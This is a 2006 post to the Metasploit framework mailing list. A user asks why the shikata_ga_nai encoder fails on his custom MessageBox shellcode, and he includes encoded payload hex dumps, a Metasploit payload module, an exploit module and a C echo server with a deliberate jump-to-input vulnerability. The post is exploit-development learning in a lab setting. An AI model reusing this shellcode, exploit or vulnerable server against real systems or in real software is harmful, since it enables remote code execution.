[framework] Bug in shikata_ga_nai encoder ?
Alok Menghrajani
alok.menghrajani at ilionsecurity.ch
Tue Oct 17 10:09:25 CDT 2006
Hi,
Thanks Pranay Kanwar for your answer regarding how to specify the encoder.
I am running into a strange bug with the shikata_ga_nai encoder. I
haven't yet been able to pin point what exactly is wrong or how to fix
it, so I'm hoping someone here might be able to give me some valuable tips.
I wrote a basic echo server, to which I added a simple vulnerability: if
the first 4 characters of the input match 'code', then the echo server
will jump the control flow to the 10th character. So you basically have
to send 'code......<payload>' to exploit the echo server.
I then wrote a basic payload, which just displays a messagebox.
Finally I wrote a basic exploit, which connects to my echo server and
sends the payload.
I have included all three files below.
Now I noticed that when I'm using the shikata_ga_nai encoder, the
payload isn't always executed (it runs fine about once every 3 or 4
tries); in most cases the echo server crashes.
If I use another encoder, such as jmp_call_additive, the payload is
executed each time.
Now comes the disconcerting part; if I use other payloads such as
windows/exec or windows/reverse_shell_tcp, with the shikata_ga_nai
encoder and my echo server, everything works fine.
So it seems shikata_ga_nai and my payload don't get along :)
Any info on how I can get a better understanding of what is happening ?
Thanks,
Alok.
Here is the shikata_ga_nai encoded string which fails:
--------------------------------------------------------------------------------
be274f84fec1e24877717218f879419b7f7b05b7b5984042756731f7e169f9b97a1c38fdbf2f9fa9
964781e34614919001d697430437730db2784b1d4e15b42dba3d7e6634b62592937d49763c86f599
3fa84a0c24b388fc1bd410e0352cb9b602e175787074797e22d2e0727a4f93be32f5b7993cbf9f90
b505b17f0d6bfc0c84d4731c4e37b42d7725241508eb01d6b24998913f467c3443b30448351ad1e2
2c4aa8717d1d9b2f407647420bd5b080f883f6d0f903fdbb7b4bba96a967b8669792411489f7e33d
7e279341bf22d5913f7c29e2794987d667723523d3f8b7754a1c73487805a8747b2f2af909e332f5
b242b92c2d276611d2d4bab89913fd1470713788e024bb31ffc1e17f253d4e7a77403496431d90be
a9477646b1924fb0970d040c3cb4b37d30fcb69819eb4b28eb7718e27b7e7115b59b9f98b2b89979
7a1d27417c489638e1730d1bfec0e3673c25b042b41c373afc147543b120f59b7f76044a2bf84b24
90a981d6b9babeb312e0153593a84766bb052cb63bfd40b574784991b7702d2fbf924f3f3d33f90c
39d5974e7246349f86d47d69f505737f21eb72703792b2967802d5b1797d1415b6b5b39391baa82f
7a0d41b00c4e247110fd429f404967b785d6662743354b69f887f7e31d7b483f11f9bfa990989b34
b97623fc1c477c25bb4abe81e23cb8997e2d28e13d2c973be0770bd40446b474754f89c1e17c21e0
42b897b29288f51c2db5737567981d1bd3d1e20c0db12c7f37a83c9fbb702f40be3d4f777d347613
f94ab301f89b48bf910412d6b9359025967b27b72493b038d4781466054b717e7a41992bd5b67419
eb43a9794647b43f20fc4eba153afd491ae3724e707248b27c7f2db649b1b79fb32ad4a84192b098
2f787342b9a9967b7166b4937d14740d763d35343f7a22eb08f59190b8bb2583f93c7e4b29d64718
fec0e32c4a2784e21d1c754680d2e10c4f86d503fd970433fc05b537bf67241532f8beba4399796b
d0e077409b7b39f81c85fdb5ba99a89b4f7031d6750430e3422f66923db010d5b64aa99f09eb3577
1d7a737d02f6d1e2417934bf0c1530f7e0480525277614bb6bf547720d984bb4404e90b3be432c46
7e22f6d493b8b9b12ae13f977123f9b2742db7787c7f3796913c49242bfc7c747a01e028ffc0e37f
7767994aa83db29327b011fec1eb794869fcb1bb98b57b2f2d0471377325786696ba754f9f49b47e
7213d5b69235a981e2703fb341761d9b86e1142c247d39fd4b89d6b7473bd415400d31d3f80c0bf5
671c054e43b880f9919746bf34b93cbe9084e0734293b887d2e17f4b927d1c4014b79b4779754919
eb7443460c33f5b490423f85d47b18fc99ba707624be251dbb979f983d27bf03d0f9b94ab596a93c
b02fb3a867b132fd664f7c7138e220d54e2d0405917e357a0db637413409f848152cb212d6787772
3ae349792c7b21e2727c731ad6757405717a707634b24b787f37b193b40d92467d2729e34a2d1d96
9f3cb3b9251bfd91979908fc88e12f1c83eb10e041be2415bf6602f7d2f90c7e35b547a8b0044e0b
f5b64814bb9040b712d523c0f8a943776bd49b3f3d4fb84298ba85e319e07b01f6e167b1994a9b96
7e773dbb154e2da824b0989f3f2fb7b5a97f7a4fbe03d52783f8b8bf7009d1e225b486fd37737846
429738d41c35b27449ba717c66b94367b3720c41b67904347d2c87ffc1d675053c9076474014933b
fc18f9910d9269f54b81eb481d7c7976417325142f99b62bfd84fc39e066bb90b0b87820e313d4b1
9197777f4922d53f0d924f7d359bb737ba7547672d9f93041d4b7b7005b589e23c28f8bf4e30f5be
b47e741c984829e134a84a0c08f971723aeb3d7a72277333d6b3b27c46762cb97802e04274437e24
a977407a31d0e2159667704a9fbb7b47b0b9257f1bd5fd752fb780d3e12af83732fc410d4b21d690
401d10f5a89171152d2ca9b87911e3147d053f9bb20c1cb54927ba24b648974f1af988d466b398be
3c99bf92433d353496b493eb0442b1464ebaa75c9b17dbd5d97424f45e31c9b11e83eefc31560e03
f15279e2156a7d0de530f6c6640731d966881360119513ee227498c45db6dbda5d39b58ae41199ab
6a9d309840333814e5756eabe575defab78a304595bf30ca26ee4640bd639a9413e0b0b46ba52d36
1854c9dd9cf96d5f204eba3c4b7da6e2e9f806d28193767a793744e10cc59b9197098f7726642f88
--------------------------------------------------------------------------------
Here is the shikata_ga_nai encoded on a different run which succeeds:
--------------------------------------------------------------------------------
84d580d47b3c7a79041d37a8752fbfb22ae235407614151c1bf888fc9231f93f9b4fa928e37122d6
46747e414285fec0eb4327b405b96649b7b37020f52538e1340db69f242cbeb897780c7d4eba7772
677c734b489003fd914ab19998b593477f342c0bf6eb4683d3d1e172777b79703d9193b6be4e80f8
0d757d24a8ba20fc4f962d992bfdbf907122f90489e03ad0d4b4926684e23cb8741478484b434a37
19e3059718f59825b91c2f03d5b2b19bb57f7c414247b3156740b033d6a949277a3f351db79f7e0c
bb76733430e305937f7e2f2d727b704a757341787a761dbe402cb79743673d994804bbb9b53c0bd5
7d4991142577460cb46669f7d6980da809f8b27123d4249686fc47744ea9277931e21c1ae108fd02
eb4f929bb13fb6b07c01e02af5379f9035b887f9ba4b4215bfb3744e88e229d2e377781bfcb01593
b899904bb27d2c0449434012d67a1c4f9810fd21e1713513ffc0fec1f9b934b485eb2d9691b16725
7673727b757e24929b373f0532f52f483c793bd447707c4a28e066b33da9ba7f38f897beb627b51d
0c14bf46bba80d6bd541b79f71757a747f797e429993439ba97b763d147c4911e21db839fd2fb181
eb723f02d1f9b496989f34479731d642b9bf4bb3a867b777731592917d23f84e08e00dbb2c4129ff
c0e3244f781ad54622fc4abe1bf5ba37257039d42d3be127403c901cb00cb50548b2350466b67142
24b1b213fc4b99b9727a4f9173412f7e3c047c7b1d7d4043707f7501f7d2e019e37978152ae17466
be9f4635b0b4b714a8b5932c2576484e33d0f99b0c4985d5ba47bf2bf8bb1cb8b30d92962d3f3d67
84d4376bd6974a9034b603f521fec1d3e22798a920fd0588eb772d30d5b470433ae06786d609e132
f947797f40b141782cb381eb7c11e2754b711497b23798727e3493243da9a8ba0c7a462f7b7466b9
9b0d18fcb00bf5b615737d4e764f91257738f89690bf05423fb7bb4a87f6e34980fd0412d41d3cb5
9227be1c4835b89f997276777e747f757b40ba2589e20cb683fd974b7a737d27247179439669fc7c
3db5931cb14e379810eb28d5473f9b67482c09e3346615bb0bd44a0d41a99fb4702dbf1bf7d2e078
4f4699143c0419f905b8359249beb7b26bf5911d13d1e108d0d680f84279727730e32fb3b9b090a8
9289ffc0d4707b37b1b4247141a9484b7c01f829e1787f7e0c902522f5051d764e6784d56649979b
999147b51ca87d31f983eb3d9f11d3e275744a93be3fba2fb027bb18e043b7352cbf047a2bfdb64f
b8b94214152d407328fc980db396b2463c87d63476717b4986e1782ae340b82c7d2f051c7e7003d5
159b9f02fd10eb7723fcbb46baa9bf974142a8937c3f69f6d439e22588d633fec1f935244f7a7304
21f8b7677f2748983492754eb6909672431af5b02db3be370db1b5911d47660c994b7914b485e03d
b9b24a747270733cb2b7767120e17b7f437a7e2f81e0359848a9143f787412d4791cba32f54bb6b8
157d2d053ad57c66b442a84e993bfdbb934a9240b0b5b96790bf3d4f477733fc9b38e2251d96970d
91b10c87f89fbe4638f92c4904341ae3243c75413aeb28d637b3272c7d7413c0e1247218e36783d6
43417e7f4b92764f429bb1b7970d34b3b919e0702585d47a4e903d2d9920d549b496ba88e22ad0fc
b03cb8a92f787b1d3f4691b29fa815b6b512f5931c40050c4abe35bb6bd1f8bf277c7311d3eb6637
487779147175479803f92bfd047f08fd32e3747031e12402e222d43d0bf84f39d57275762f9b1c46
7371149f797d7c21e02c787a7725493490b20d81f993484a27b47b1bf510eb374eb1b3bea999bfb6
91bb1d4398a87e05b73c400c7a75049779703f7f66b9772d734189e24b7815b0b57135b8967d30f6
c1f7d67247926784e1427401eb3bfcbabab87e23fc6691b9b09676347b29e035beb12f40420d469b
3d9886d2e31d69f524b7a880fdb448922c054941b27c144bbb99259f67b393d6044e97d40cb63f4a
2747bfa93c4f152d43f99009f81cb5d537dbc4d97424f45a29c9b11eb8bc0e2dda31421783eafc03
fe1dcf2f16210fd0e679841b67bca39b673f85221022a529218d2e1a5cef759d5ef024cde7d86a6d
6be6a25d414ace69e4aa806de62c703fb4d3a2069ae6c2052527b186bcba095b105f02f76cd2bf74
1f8d581e9d22dfa121f52b414a3630a5ee41989482d8e8b87a483a260f1c0ddc96c03e32292fc14a
--------------------------------------------------------------------------------
Finally, here are my other files:
The payload.
payloads/singles/windows/alok_sample.rb
--------------------------------------------------------------------------------
require 'msf/core'
module Msf
module Payloads
module Singles
module Windows
module AlokSample
include Msf::Payload::Windows
include Msf::Payload::Single
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Sample Executable',
'Description' => 'Display a simple MessageBox',
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Payload' =>
{
'Offsets' => {
'LOADLIBRARY' => [ 16, 'HEX' ],
'GETPROCADDRESS' => [ 33, 'HEX' ],
'EXITPROCESS' => [ 56, 'HEX' ]
},
'Payload' =>
"\xe8\x00\x00\x00\x00\x5b\x8b\xcb\x81\xc1\x39\x00\x00\x00\x51\xb9\xFF\xFF\xFF".
"\xFF\xff\xd1\x8b\xcb\x81\xc1\x44\x00\x00\x00\x51\x50\xb9\xFF\xFF\xFF\xFF\xff".
"\xd1\x33\xd2\x52\x8b\xcb\x81\xc1\x50\x00\x00\x00\x51\x51\x52\xff\xd0\xb9\xFF".
"\xFF\xFF\xFF\xff\xd1\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x4d\x65\x73".
"\x73\x61\x67\x65\x42\x6f\x78\x41\x00\x48\x34\x63\x6b\x33\x64\x20\x62\x79\x20".
"\x31\x6c\x69\x30\x6e\x20\x53\x33\x63\x75\x72\x31\x74\x79\x20\x53\x2e\x41\x2e".
:\x00\x00"
}
))
# EXITFUNC is not supported :/
deregister_options('EXITFUNC')
# Register command execution options
register_options(
[
OptString.new('LOADLIBRARY', [ true, "address of LoadLibrary",
"0x7C801D77" ]),
OptString.new('GETPROCADDRESS', [ true, "address of GetProcAddress",
"0x7C80AC28" ]),
OptString.new('EXITPROCESS', [ true, "address of ExitProcess",
"0x7C81CAA2" ])
], Msf::Payloads::Singles::Windows::AlokSample)
end
# This could be part of metasploit...
def replace_var(raw, name, offset, pack)
if pack == "HEX"
val = datastore[name]
val = val.to_s.hex
val = [ val.to_i ].pack("V")
raw[offset, val.length] = val
return true
else
return false
end
end
def generate
return super
end
end
end end end end
--------------------------------------------------------------------------------
The exploit:
modules/exploits/windows/alok/sample.rb
--------------------------------------------------------------------------------
require 'msf/core'
module Msf
class Exploits::Windows::Alok::Sample < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'my first metasploit 3 exploit.',
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 160,
'BadChars' => "\x00\x0a",
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # Not
impl yet
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(9905)
], self.class)
end
def exploit
pl = payload.encoded + "\n"
print_status("Sample exploit started. Sending exploit:")
print_status(pl.unpack("H*"))
print_status("Encoder used:")
print_status(payload.encoder.fullname)
connect
print_status("Connected.")
sock.put("code......" + pl)
print_status("Done.")
sock.get
handler
disconnect
end
end
end
--------------------------------------------------------------------------------
And the echo server:
vulsrv.c
--------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>
#define BUFFER_SIZE 2000
unsigned char buf[BUFFER_SIZE];
/* Simple function to jump into buf */
void foo(unsigned char *ptr) {
int *ret;
ret = (int*)&ret;
ret += 3; /* depending on your compile options, this value might
have to be changed ! */
*ret = (int)ptr;
}
int main(int argc, char **argv) {
WSADATA ws;
int i, j, t;
SOCKET srv, conn;
SOCKADDR_IN addr;
printf("starting simple vuln server.\n");
/* Init socket library */
if (WSAStartup(0x101,&ws)!=0) {
printf("WSAStartup failed.\n");
exit(-1);
}
/* Create server socket */
srv = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
if (srv == INVALID_SOCKET) {
printf("WSASocket failed.\n");
exit(-1);
}
/* Setup struct and call bind */
/* We are going to listen on port 9905 */
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(9905);
if (bind(srv, (SOCKADDR*)&addr, sizeof(addr)) != 0) {
printf("bind failed (%d).\n", WSAGetLastError());
exit(-1);
}
if (listen(srv, 1)!=0) {
printf("listen failed.\n");
}
while (1) {
printf("waiting for connections.\n");
conn = accept(srv, NULL, 0);
if (conn == INVALID_SOCKET) {
printf("accept failed.\n");
exit(-1);
}
printf("client has connected.\n");
/* Read oneline or BUFFER_SIZE */
i = 0;
while (i < (BUFFER_SIZE-2)) {
t = recv(conn, buf+i, 1, 0);
if (t==0) {
/* Socket is closed */
break;
}
if (t == SOCKET_ERROR) {
printf("recv failed.\n");
i = 0;
break;
}
/* Now go through what was read to see if we got
a \n. */
if (buf[i]=='\n') {
break;
}
i+=t;
}
if (i==0) {
/* Something happened */
continue;
}
buf[i]=0;
printf("Received: %s\n", buf);
send(conn, buf, i, 0);
/* Check if we received "code??????+<shellcode>" */
if (strncmp(buf, "code", 4)==0) {
foo(buf+10);
}
/* Close socket */
if (closesocket(conn)!=0) {
printf("closesocket failed\n");
continue;
}
}
}
--------------------------------------------------------------------------------
Thanks,
Alok.
More information about the framework
mailing list